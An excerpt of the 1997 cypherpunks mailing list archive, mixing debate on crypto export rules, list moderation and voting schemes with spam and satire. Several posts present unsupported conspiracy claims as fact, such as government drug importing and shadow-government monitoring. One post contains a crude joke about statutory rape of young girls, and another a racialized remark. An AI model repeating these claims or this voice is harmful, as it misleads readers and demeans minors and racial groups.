>     and overtime kills.

  Look on the bright side. At least your old 286 will finally be 
worth some money when CompuServe and AOL decide to dump those
'fast' machines that are hurting their profit margin.

>         The Internet will no no longer be the peoples net, and the
>     commercial greedies are establishing a faster, more secure
>     network with controlled access points; leaving the common man's
>     access in the mud, still paying the exorbitant rates on a pay
>     before play basis.

  Any good rancher knows that in order to herd the cattle and the 
sheep, you have to get them moving first. And once they get used to
being herded into the 'feedlot', they stop paying attention and 
fail to notice when the 'feedlot' they get herded into happens to
be located conveniently next to a rendering plant.

>  That, and it gives control of information to
>     the government --which, as we all know. is 'heavenly white'
>     -above sin.

  Must be just a 'coincidence' that they are 'herding' all information
toward an entity spawned by the DOD and other government security
organizations--the "government 'behind' the government."
 
>         Universities are being bought off with the 'Internet II'
>     proposal which provides super trunks of over 600 Megabaud
>     capacity, a 400 times improvement. All of this feeds into five
>     stategically placed super-hubs where Uncle's shadow government can
>     monitor everything.

  Of course, the Universities' own communications will no doubt be fully
protected with Key Escrow Encryption.
 
>         The Internet was supposed to be our freedom: freedom of
>     information and government in the sunshine, but government is
>     proving it is still bigger, faster, and badder by using draconian
>     rules of illegal regulatory agencies. agencies which are usurping
>     rights limited to the legislative branch.

  I think that this statement shows a strong need for the academics and
intellectuals to discuss this issue, perhaps even write a 'paper' on it,
after giving it several years of close study, naturally.
  I, for one, would be more than willing to help them smuggle the
results
of their study out of the forced labor camp they find themselves in by
the time it is completed.

  Thanks for a thoughtful and insightful post on these issues. I am sure
that they will be seriously considered in a wide Circle of people who
are
not just composed of smart alecs with blanc minds. 

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 22 Jan 1997 22:15:23 -0800 (PST)
To: cypherpunks <toto@sk.sympatico.ca>
Subject: JUSTICE: foolish confrontations therewith
Message-ID: <199701230615.XAA06590@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

        Looks to me like Carl needs to understand justice, U.S. federal 
    court style. In the first place: "ignorance is no excuse under the 
    law" -then: ask yourself why the U.S. continues the drug war when 
    it is obvious to the perverted, ignorant, and bought-off Congress- 
    person that it will never be won. the answer is simple: it's MONEY. 

        First, the government makes a fortune by importing drugs, which 
    they can use for unaccountable programs which are illegal under 
    law. The money is controlled by the CIA, administration, and the 
    power brokers in the deal which basically states it all; and, 
    secondly, there is money in imprisonment. Oh? so then ask yourself 
    why the federal prisons have tripled in size the last 10 years with 
    the dope wars.  coincidental?

        now, what does that have to do with crypto?  very simple: as 
    the US heads closer and closer to the UN Constitution under Bubba's 
    guidance with Hillary's hands on his balls, crypto can bypass 
    political thought control.  That will not be acceptable to those 
    who rule: in the US, or anywhere else.

        "Intimidation is just another form of communication."  (attila)

    and they have intimidated federal judges, and they are intimidating 
    federal judges, and they will continue to intimdate federal judges. 
    and, they will continue to feed the media what they want known.

        so, what does that have to do with it?

        a)  the federal government is disenfranchising felons with
            certain types of convictions, including drugs, and all
            offenses against the federal government --cryptography
            is an offense against the federal government since it
            falls under ITAR.

            do you know what disenfranchisement really means: well,
            start with fact you have lost your civil rights --ALL of 
            them. the man never needs a warrant to take you, anywhere. 
            anyplace, including your home without knocking --he has 
            automatic probable cause.

            all federal convictions of the type described carry a tail 
            --extended probation. in other words, a sadistic, sadonic, 
            and automatically suspicious federal civil servant OWNS 
            you. He can visit your employer; he can tell you exactly 
            how to run your business if you are self-employed; he can 
            tell you if you can move; he can tell you who you will see 
            or talk with; and if tells you to polish his apple, get on 
            your knees and smile while you labour. 

        b)  no vote --that is the principle meaning of franchise which 
            is defined as "suffrage."  you are history on that score 
            unless you manage to convince Bubba to grant you a federal 
            pardon.

        c)  the federal govenment, through one of their federal money 
            giveaways is forcing the criminal records onto the drivers' 
            license.  So far, no state has a check box on the sealed 
            photo ID, but they will, including a coded offense block.

        d)  now, the big credit bureaus, TRW, Equifax, etc. have added 
            the collection of data for traffic convictions; so far they 
            have not added either misdemeanor and felony >>arrests<< 
            and convictions to the _available_ information, but they 
            will.  Did you know that you can have a 3 or 4 page rap 
            sheet for a single arrest/offense/conviction by the time 
            they rewrite charges, which is common in, you guessed it: 
            dope cases, and propably will be in crypto cases as the 
            Federales discover more evidence (planted, decoded, 
            whatever?).

        e)  You know, I'm beginning to like Mississippi's statutory 
            rape laws better all the time.  The age is 18, as high it 
            goes in all 50 states --but it only applies if the minor 
            female is over 12 and can prove she is a virgin...  yeah, 
            right, where the only virgin over eight can run faster than 
            her brothers...

        e)  prisons are big business; and, government has undertaken a
            program of privatization of the prison system --in other 
            words, the big government oriented contractors, like SAIC 
            chaired by Bobby Inman, are planning to make a profit 
            housing government misjustice. do they like to make money?

            does this sound like slave labour to you? 

            sounds like government 'letting' of business. P.J. O'Rourke 
            has the definitive result of that:   
   
                "When buying and selling are controlled by legislation, 
                the first things to be bought and sold are legislators"  

        well, I'm too old for the civil disobedience game or deliberately begging the law; I do not wish to head for the 3 hots ad a cot of federal hospitality wearing more years than I can carry. 

        but you'd better believe and if you wish to even try to beat 
    the government back, don't think you have any rights in America.  Just remember Judge Roy Bean is sitting in his large $1,500-2,000 comforatable chair about a meter above you, smiling down on you as you sit in the hard, cold, flimsy chair of the dock, after our esteemed judge got drunk last night with his cronies.  

After all, Judge Roy, who's only human, suffers from an inferiority complex, and needs a power rush. And after this poor excuse for a human lays 3 fives running wild (15) and 6 tail on you, try smiling at the judge; then say: "thank you your honor, but you're just another fuckin' drunk." 

  == <attila out>

    ====== ORIGINAL MESSAGE ======

In <32C27B88.558@sk.sympatico.ca>, on 12/26/96 
   at 05:20 AM, Carl Johnson <toto@sk.sympatico.ca> said:

::jim bell wrote:
::> 
::> However, if being "on the Internet" is automatically presumed to be 
::> an export, why can't we program using remote-control editors which 
::> might, someday, be available on the Internet? 

::  If I wanted to export an unexportable program, I would put it on my 
::  machine as 'happyface.zip', and then make sure that everybody 
::  spread the word that it was available under that title.  I don't 
::  believe there is a prosecutor alive that can convince a jury of
::  twelve mostly non-technically oriented people that someone should 
::  be put in prison for not knowing the content of every single 
::  non-text file on their machine.


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 22 Jan 1997 22:15:30 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: seeds of our own destruction
Message-ID: <199701230615.XAA06640@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

        the pieces of our own destruction by a universal government of 
    a few are all there, many fully documented as bits and pieces; 
    someone who does not have a well known interest in the conspiracy 
    groups to prevent the press from thundering "conspiracy theory" 
    needs to compile a graphical presentation for the monkeys. 

        good luck trying to deliver the message to joe couch potato. 
    the controlled media networks would never sell you time.

        It is not so much a conspiracy as it is separate, or even UN, 
    groups, working for their own interests --who has the stick?--  

        Unfortunately, too many of them have overlapped by their common 
    need for a common army, a common taxation system (obviously not 
    balanced by equity) and the right to non-representative taxation 
    after they destroy freedom of speech/privacy and take away the 
    hardware.  worse than middle period Marx utopian liberated 
    socialism!  

        The UN's _printed_ statement of the conclusion of the wealth 
    distribution was a UN tax authority to redistribute the 
    wealth.... 

        What intrigues me the most is that even the very rich can not
    survive in the cesspool they will create.  there will be no 
    distinguished caste, no educated caste, etc. You will see the 
    attitude with just barely educated type administrators who will say: 
    "gifted?" Or, she can fend for herself, and eventually just sending 
    the gifted child off to the vegatable farm.  

        Despite all the utopian talk about social order, politically 
    correct unisex, socialism will never deliver enough exceptional 
    individuals to be able to povide all the pyschologists and social 
    workers they envision.

        Obviously, the fact the white man is probably less than 15% of 
    the total population and has over 80% of the industrial wealth tells 
    you where it starts.  The UN is talking about master agricultual 
    product control warehousing and distribution.

        If 20% of the population is well fed, does that include the US, 
    Canada, Russia (that's a joke), and the grain producing areas of the 
    world?   or will the white man be just part of the rest --hungry?


  ==
    Tyranny Insurance by Colt Manufacturing Co.

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zcBo1zfXRCk=
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 23 Jan 1997 05:43:44 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: Just another government fuckover: New crypto regulations
In-Reply-To: <199701230614.XAA06559@infowest.com>
Message-ID: <32E77595.387D@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote:
 
>         free speech, which is what we are talking about. supposedly
>     absolute freedom of speech in America was in the Articles of
>     Confederation and was a major point of the Declaration of
>     Independence.  free speach was an "intention" of the Magna Carta.

> ::>     books are an intellectual 'solution' to the problem. the real
> ::>problem is the hardware. in order to negate governments and their
> ::>virtually stated intentions of blocking our inalienable freedoms,
> ::>particularly freedom of speach, we must be able to distribute
> ::>universal crypto worldwide, and be able to improve it as the shadow
> ::>governments of the various spook shows improve their ability to
> ::>break our code.

Dear Mr. Hun,
  I see that your post was expunged from the cypherpunks-politically-
correct-outgoing list.
  I am assuming that it was as a result of linking crypto to free
speech.
Perhaps you need to fall more into line with the New List Order.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 22 Jan 1997 22:46:30 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: at least we have some friends...
Message-ID: <199701230646.XAA07790@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

+New encryption bill on way
+By Alex Lash	
+January 22, 1997, 8:45 p.m. PT
+see http://www.news.com/News/Item/0%2C4%2C7236%2C00.html?nd

+Sen. Conrad Burns (R-Montana) next week will reintroduce legislation 
+aimed at wiping out most Commerce Department restrictions on the 
+export of software encryption, his press secretary said today.

+The new version of the so-called Pro-Code bill, which died in the 
+Senate Commerce Committee last year after a series of high-profile 
+hearings, will be unchanged and should have the same support it 
+gained in the 1996 session, Burns's press secretary Matt Raymond said.
+"The language was not something that was arrived at lightly," Raymond 
+said. "We should have time for a more robust and considerate debate" 
+compared with last year's unsuccessful rush to get the bill passed, 
+he added.

+Burns, a leading figure on the Senate Commerce Committee, is set to 
+appear via satellite Tuesday at the RSA Data Security Conference in 
+San Francisco to announce the bill's reintroduction.

+Foes of the Clinton administration's current encryption regulations, 
+which became effective on January 1, are looking for Congress to 
+legislate more liberal export guildelines. Last year, the Pro-Code 
+bill won the support of many key members of Congress  who remain in 
+office and want to modify Clinton's encryption plan.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: davesbox@smtp.miraclestar.com
Date: Wed, 22 Jan 1997 22:54:52 -0800 (PST)
Subject: Do You Want to Make Money On-Line?
Message-ID: <199701230650.GAA22450@medina.ohio.net>
MIME-Version: 1.0
Content-Type: text/plain


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us to determine in our opinion if you are right for our opportunity, and if
our opportunity is right for you. We spend a great deal of time with all
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----------------------------------------------------------------------------
Thank you for your interest.
----------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 23 Jan 1997 05:43:50 -0800 (PST)
To: dthorn@gte.net
Subject: Dale / Re: Your Subscription To The CypherPunks List
In-Reply-To: <199701230633.AAA00525@manifold.algebra.com>
Message-ID: <32E7831E.19B2@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale,

  This message is to inform you that I have taken over the cypherpunks 
list and will henceforth act as moderator, thus ensuring that only
messages regarding "How To Make Big $$$ Licking Your Own Balls" 
will be posted to the list.
  However, out of the goodness of my heart, I will beneficently allow
you to receive the expunged posts on another list.

  Just send an email to:
 "ifyoudon'tlikeit,thenlumpit--it'sMYlist@toad.com"
with a message body saying,
 "I'm still a Punk, and I don't think the music's too loud,
you old fart."

Toto
"My name isn't Richard, but I'm still a Dick."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 23 Jan 1997 04:35:03 -0800 (PST)
To: cme@cybercash.com (Carl Ellison)
Subject: Re: P.S. David Kahn's editorial today
In-Reply-To: <199701230510.VAA04818@toad.com>
Message-ID: <199701231230.HAA05864@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Carl Ellison wrote:

| I just sent the following P.S. to newsday.com
| 			----------------------
| 
| If I use an AT&T Clipper-style cellular phone, as David suggested, and I
| call you on a normal wired phone, we can't encrypt the conversation and it
| is vulnerable to interception.  The protection works *only* if both parties
| have encrypting phones while interoperate.

	Its worth thinking about multiple layers of protection for a
datastream.  The end to end encryption issue is seperate from the
issue of mobile to base encryption (and mobile to base authentication,
for that matter.)  Compute power is getting cheap enough that doing
both seems roughly feasable to me.

	Multiple protective layers is also nice in an environment
where theres policy checking going on, ie, a firewall.  SSL only gets
plugged through a firewall because it can't be partially unwrapped.  I
can't proxy in any meaningful sense.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 23 Jan 1997 07:33:24 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <199701231347.HAA04161@smoke.suba.com>
Message-ID: <32E78482.5DF6@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> Thorn:
> > Alec wrote:
> > The idea that "sin" and "evil" are abstract and somewhat arbitrary is
> > merely a human (and therefore faulty) perception.
> > If God can be perfect by definition (for sake of argument), then "sin"

> Somewhere in the above three lines, someone is making a hell of an
> asumption. See also "The Euthphro Question", plato.

Humans do OK with simple issues, example: 1 + 1 = 2.  Especially true
if the issue has no inherent moral/ethical tie-in.  Once you get past
the simple, however, you start seeing motivation, personal imperative,
etc., which leads to hidden agendas and lies.  When I speak of God,
I'm not surrendering any personal power, or subscribing to your God
concept necessarily (e.g. Plato), I'm just defining an object of
pure reason that is free of human self-interest, for sake of argument.

> > A gentleman wrote to Southern Partisan magazine a few years ago and
> > said "Real freedom is not the license to do whatever you want, but
> > rather the liberty to do what you ought to do".

> No, real freedom is being able to decide for yourself what you ought to
> do--or--who the hell decides what I ought to do?

My example shows that real freedom goes hand-in-hand with
responsibility.
A person could interpret my example in a way that "what you ought to do"
is defined and controlled by external parties, but that was not my point
or the point of the original author.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 23 Jan 1997 05:30:14 -0800 (PST)
To: dthorn@gte.net (Dale Thorn)
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <199701220555.VAA18997@toad.com>
Message-ID: <199701231347.HAA04161@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Thorn:
> Alec wrote:
> The idea that "sin" and "evil" are abstract and somewhat arbitrary is
> merely a human (and therefore faulty) perception.
> If God can be perfect by definition (for sake of argument), then "sin"

     Somewhere in the above three lines, someone is making a hell of an
asumption. See also "The Euthphro Question", plato.

> A gentleman wrote to Southern Partisan magazine a few years ago and
> said "Real freedom is not the license to do whatever you want, but
> rather the liberty to do what you ought to do".

     No, real freedom is being able to decide for yourself what you ought to
do--or--who the hell decides what I ought to do?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 23 Jan 1997 05:32:35 -0800 (PST)
To: shamrock@netcom.com (Lucky Green)
Subject: Re: Encrypting ZIP drives?
In-Reply-To: <199701220555.VAA18973@toad.com>
Message-ID: <199701231349.HAA04173@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> 
> I am looking for a transparent (strong) encryption of ZIP drives. Any advice would be appreciated.
> 
     For which OS, and SCSI or Parallel version?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Internaut <unde0275@frank.mtsu.edu>
Date: Thu, 23 Jan 1997 09:30:21 -0800 (PST)
To: "'Attila T. Hun'" <attila@primenet.com>
Subject: RE: greed and the internet
Message-ID: <01BC0920.893533E0@s25-pm01.tnstate.campus.mci.net>
MIME-Version: 1.0
Content-Type: text/plain


Will you send some references for Internet II and the government hubs?
	Thx, Internaut

----------
From: 	Attila T. Hun[SMTP:attila@primenet.com]
Sent: 	Wednesday, January 22, 1997 08.32 PM
To: 	cypherpunks
Subject: 	greed and the internet

-----BEGIN PGP SIGNED MESSAGE-----

    greed and the internet

        our network provider (MCI) has been gradually burying our T1 
    trunk and the effective feed has been reduced to 1200 baud from 
    1.56 Megabaud; that, and add 20 seconds to 5+ minutes of packet 
    hold, and it is now worthless. they claim they will have increased
    capacity, but there are no pressing big money commercial interests
    on this feeder --so when?  

        Problem is not just here --everywhere; the greedy commercial 
    bastards have oversold their network space intentionally as they 
    are bucking for per packet and timed usage charges which are 
    currently prohibited by the FCC and the state PUCs. The FCC is the 
    key since other than the local network, which is burdened with the 
    costs of the trunk, everything is regulated by the FCC which is 
    trying to totally eliminate the state PUCs in the 105th Congress,     
    Newt's mouth not withstanding.

        The FCC agreed to review the matter, capitulating to 
    big greed interests, which will make the Internet a rich man's 
    toy. $19.95/month plus access charges will increase to thousands 
    of dollars per month; slow networks make toast of the free hours 
    and overtime kills.  Without the creative input of the multitude, 
    there will be no content, so why have a net other than for 
    commercial purposes? suites the misinformation cabal just fine.

	Well, the FCC granted a reprieve --for the moment. but will
    come up again, and again, until it passes.

        The Internet will no no longer be the peoples net, and the 
    commercial greedies are establishing a faster, more secure 
    network with controlled access points; leaving the common man's 
    access in the mud, still paying the exorbitant rates on a pay 
    before play basis.  That, and it gives control of information to 
    the government --which, as we all know. is 'heavenly white' 
    -above sin.

        Universities are being bought off with the 'Internet II' 
    proposal which provides super trunks of over 600 Megabaud 
    capacity, a 400 times improvement. All of this feeds into five 
    stategically placed super-hubs where Uncle's shadow government can 
    monitor everything.

        The Internet was supposed to be our freedom: freedom of 
    information and government in the sunshine, but government is 
    proving it is still bigger, faster, and badder by using draconian 
    rules of illegal regulatory agencies. agencies which are usurping 
    rights limited to the legislative branch.


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Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 23 Jan 1997 08:37:48 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks Mailing List)
Subject: [Noise] From The Onion
Message-ID: <199701231634.LAA07092@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



SATAN TO REVISE BAR CODE SYSTEM 

NEW YORK--Responding to retailers' calls to "streamline the Mark of
the Beast," Satan announced plans Monday to make significant changes
in the UPC symbol by the end of the millenium.  "All men, small and
great, rich and poor, slave and free, shall bear the mark of the
beast," Satan said. The mark, "666," now hidden in every UPC symbol,
may be more effective if taken off products and burned directly onto
consumers' foreheads or hands, according to The Father of Lies. Said
National Reserve Board Chairman Alan Greenspan: "As foretold in the
Book of Revelations, it shall come to pass that no man shall be able
to buy or sell without the Mark of the Beast." The new bar code system
will be introduced through a series of televised public-service
announcements featuring Friends star Matthew Perry and Satan, who will
appear as a beast with seven heads and ten horns.

http://www.theonion.com/onion3102/index3102.html


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CV Communications <response@quantcom.com>
Date: Thu, 23 Jan 1997 10:16:12 -0800 (PST)
To: "cwozniak@aol.com>
Subject: Add To Your Monthly Income!!
Message-ID: <199701231702.MAA00757@slade.cvcom.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 23 Jan 1997 10:34:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Dimitri??
Message-ID: <199701231237.MAA10676@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


I have noticed that there has not been any post from Dimitri in a couple of
days.

I am assuming that this means that the list moderation has now started?

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: Logic, not magic.

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Version: 2.6.2

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=hIV+
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 23 Jan 1997 12:53:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Commerical applications (was: Development and validation (fwd)
Message-ID: <199701232053.MAA26190@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:20 PM 1/23/97 +1100, proff@suburbia.net wrote:
...
>The catch is that positive votes are inherently more valuable than
>negative votes, since to obstruct progress requires a number of votes
>equal to the outstanding proposals, but to move forward a proposal only
>requires a number of votes equal to the proposal.  Blind obstructionism
>(and blind advocacy) are uneconomical.  That's the point of having
>more than one vote to potentially spend on an issue, with potentially
>more issues than you can vote on all of them.  You will have to pick
>you battles carefully if you want to avoid being lost in the noise.
>
Here you risk the media controlling the vote even better.  First they push a
tearjerker proposal early in the year to swallow up all of the votes, then
they ask for special interest legislation to protect their respective
monopolies on grounds of ecology, (one paper means more trees, one TV
station means clearer communication, etc.)


...
>For reciprocity, it's possible to charge off percentages in the
>win/lose case to bias the power concentration: if your side wins, it
>costs you one less token then you voted, etc..  Again, initial
>bylaws are established through constitution provision: "we have the
>power that is being shared, therefore, these are the weights".
>
...
This prompts people to vote with who they think will win as opposed to how
they feel.  In this case the media shows numerous charts showing a pending
landslide in thier favor.  What do you know, everyone voted in favor of the
media just to recycle votes.

...
>Heh.  I was thinking more in terms of its value as a cascade trigger
>to increasingly complex social organisms in the Internet implementation
>space.  Representational democracies (republics, really) came about
>because of rate limits on communication.  The US could not elect a
>president by popular vote because there were no methods of verification,
>and communication rates were limited by travel time.  Therefore, the
>US has an Electoral College.  But a side effect of this structure is
>a bias for bipartite seperation of interests, instead of seperation
>into as many interest groups as it takes to do the job of mapping the
>interest space.  This bias is not removed because the bipartite
>interests have (and must continue to have) the power concentration.
>This leads to continued "wasted vote syndrome", where people vote
>for the lesser of two evils instead of voting their conscience... an
>effect of mass psychology.  Similar pressures prevent the polling
>times from being changed to opening at 8am EST and closing at 8am EST
>to prevent early returns from earlier time zones influencing the
>outcome of elections before people in later time zones have even voted.
>For example, Ross Perot got almost 20% of the vote in the 1992
>election, but 0% of the electors.  He would still have lost, given
>the actual values.  There is actually a case in US history where the
>winner of the electoral vote lost the popular vote... the president
>was not chosen by the people, but by the electors.
...

Actually, our founding fathers thought that the people were morons, a
reasonable assumption since news carried so slowly and most people were more
worried about how to survive the winter than how to read.

...

>Yep.  The reason I went weighted, by the way, was the volunteer
>nature of the project.  In theory, number of vote tokens spent
>should be proportional to willingness to actually volunteer.  As
>you point out, there could be feedback here as well: for instance,
>if a proposal passes, if it is completed, the tokens spent on
>the vote could be refunded to those who voted for it.  If it dies
>on the vine, the tokens could be refunded to those who voted
>against it.  Being right would give you more license to participate,
>and being wrong would not, etc..  Again, a matter for the initial
>bylaws.
...

Not being right, just agreeing with the concensus.  Remember that most of
the Germans eventually agreed with Hitler, that did not make them right.

By the way, the general populus is still mostly morons.  Even with a higher
literacy rate.  Most of them seem to use it to read the National Enquirer
and Hollywood based publications.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Thu, 23 Jan 1997 13:12:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: greed and the internet
In-Reply-To: <199701231801.KAA21582@toad.com>
Message-ID: <32E7D3A3.4B2E@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Internaut wrote:
> 
> Will you send some references for Internet II and the government hubs?

There is a www.internet2.edu

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: drose@azstarnet.com
Date: Thu, 23 Jan 1997 13:07:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Dimitri??
Message-ID: <199701232106.OAA27627@web.azstarnet.com>
MIME-Version: 1.0
Content-Type: text/plain


William H. Geiger III wrote:

>I have noticed that there has not been any post from Dimitri in a couple of
>days.

Yup. Ditto Tim May.  Fair trade?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CV Communications <response@quantcom.com>
Date: Thu, 23 Jan 1997 14:38:08 -0800 (PST)
To: "cwozniak@aol.com>
Subject: A Remarkable Income Opportunity!!
Message-ID: <199701232122.QAA01742@slade.cvcom.net>
MIME-Version: 1.0
Content-Type: text/plain


The following message has been brought to you by Quantum Communications.
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Scott Marr <Achieve1@ix.netcom.com>
Date: Thu, 23 Jan 1997 17:15:52 -0800 (PST)
To: (Recipient list suppressed)
Subject: Double Your Downline & Triple Your Income With 200 FREE MLM  LEADS A Month !!
Message-ID: <1.5.4.16.19970123184501.080f3d8a@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



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pocket.  You'll be glad you did and so will your down line!

To Your MLM Success,


Scott Marr


P.S.  If I receive your request before the month ends, I will include an
additional report
containing valuable tips on how to improve the response rates of your direct
mail and display
advertising.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: abostick@netcom.com (Alan Bostick)
Date: Thu, 23 Jan 1997 17:18:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: THE NEW YORKER on the V-Chip
Message-ID: <BkA6y8m9LESK085yn@netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


In the Jan. 20, 1997, issue of THE NEW YORKER, the "Comment", written by
Malcolm Gladwell, makes a powerful arguement about the unintended
consequences of the V-Chip, the programmable device to be included in
next-generation television sets sold in the US that supposedly will
allow parents to control their children's access to sex and violence on
TV.

Gladwell makes an analogy between V-Chipped TV content and
air-conditioned cars in the New York City subway system in summertime:
" . . . we need air-conditioners on subway cars because air-conditioners
on subway cars have made stations so hot that subway cars need to be
air-conditioned."  Similarly, he argues, "the V-chip is likely to
increase the amount of sex and violence on television, not decrease it"
because when viewers can block offensive programming, there is far less
pressure on broadcasters and cable operators to avoid offending.

This is just the sort of thing that John Young is given to scanning and
putting up on his Web site or sending out to people who send him email
with FUN_nie subject lines.  If I were him, I'd put it up.

And, for the benefit of those people who don't think the V-Chip isn't in
itself on-topic for cypherpunks, I might point out that Gladwell's
argument applies equally well to mail filtering with procmail recipes --
or Sandy's and John's list moderation experiment.  If the noise level on
the unmoderated list jumps to even higher than we were seeing before
the moderation began, that would provide observational support to
Gladwell's argument.

-- 
Alan Bostick               | To achieve harmony in bad taste is the height
mailto:abostick@netcom.com | of elegance. 
news:alt.grelb             |      Jean Genet 
http://www.alumni.caltech.edu/~abostick





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: grupo textil glz ruelas <camiseta@telnor.net>
Date: Thu, 23 Jan 1997 17:12:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: about the e-mails that im recibing
Message-ID: <199701240109.RAA08232@telnor.net>
MIME-Version: 1.0
Content-Type: text/plain


                Dir, cypher im recibing all your e-mails and i was wondering
                if you can do something abuot becouse to me all of this is 
                pure yonk.
                so please do something and stop the e-mails 

                im not a cypherpunk and i dont understan nothing you write ok

                see you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: proff@suburbia.net
Date: Wed, 22 Jan 1997 22:21:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Commerical applications (was: Development and validation (fwd)
Message-ID: <19970123062054.6233.qmail@suburbia.net>
MIME-Version: 1.0
Content-Type: text/plain


>From terry@lambert.org Thu Jan 23 00:20:21 1997
Return-Path: <terry@lambert.org>
Delivered-To: proff@suburbia.net
Received: (qmail 11676 invoked from network); 23 Jan 1997 00:20:09 -0000
Received: from phaeton.artisoft.com (198.17.250.211)
  by suburbia.net with SMTP; 23 Jan 1997 00:20:09 -0000
Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id RAA22488; Wed, 22 Jan 1997 17:04:17 -0700
From: Terry Lambert <terry@lambert.org>
Message-Id: <199701230004.RAA22488@phaeton.artisoft.com>
Subject: Re: Commerical applications (was: Development and validation
To: proff@suburbia.net
Date: Wed, 22 Jan 1997 17:04:17 -0700 (MST)
Cc: nate@mt.sri.com, terry@lambert.org, chuckr@glue.umd.edu,
        hackers@freebsd.org
In-Reply-To: <19970122141820.16633.qmail@suburbia.net> from "proff@suburbia.net" at Jan 23, 97 01:18:20 am
X-Mailer: ELM [version 2.4 PL24]
Content-Length:  6273

> > Terry Lambert writes:
> > > > > A weighted democracy would be one open-ended growth solution, as
> > > > > long as parametric changes could be made within the system.  I have
> > > > > suggested this before.  A trivial napkin drawing version:
> > > > 
> 
> I have doubts about such a system. How are the weights chosen?

By core team fiat.  It is they who will be giving up power, it is they
who have the power to enforce initial disbursement.  After that, it
*should* be metastable.  If it isn't, it can be reigned in.

> 	- Should all weights be votable - dynamically adjusted according
> 	  to votes * current weights?

This one: yes.

> 	- Which is more stable? w1+w2+w3+w4=1 or w1*w2*w3*w4*w5=1?

+, if we are talking probabilities applied to strange attractors.

> 	- How a new weights created?

Constitutionally, there must be a method for doing this within the
system.  Mostly, the weight values are the time rate accumulation vs.
the spend rate on voting issues.  If you are actively positive, you
affect change; the stronger you feel about something, the more likely
you are to code it (which every direction the strength of your feeling
goes.

The catch is that positive votes are inherently more valuable than
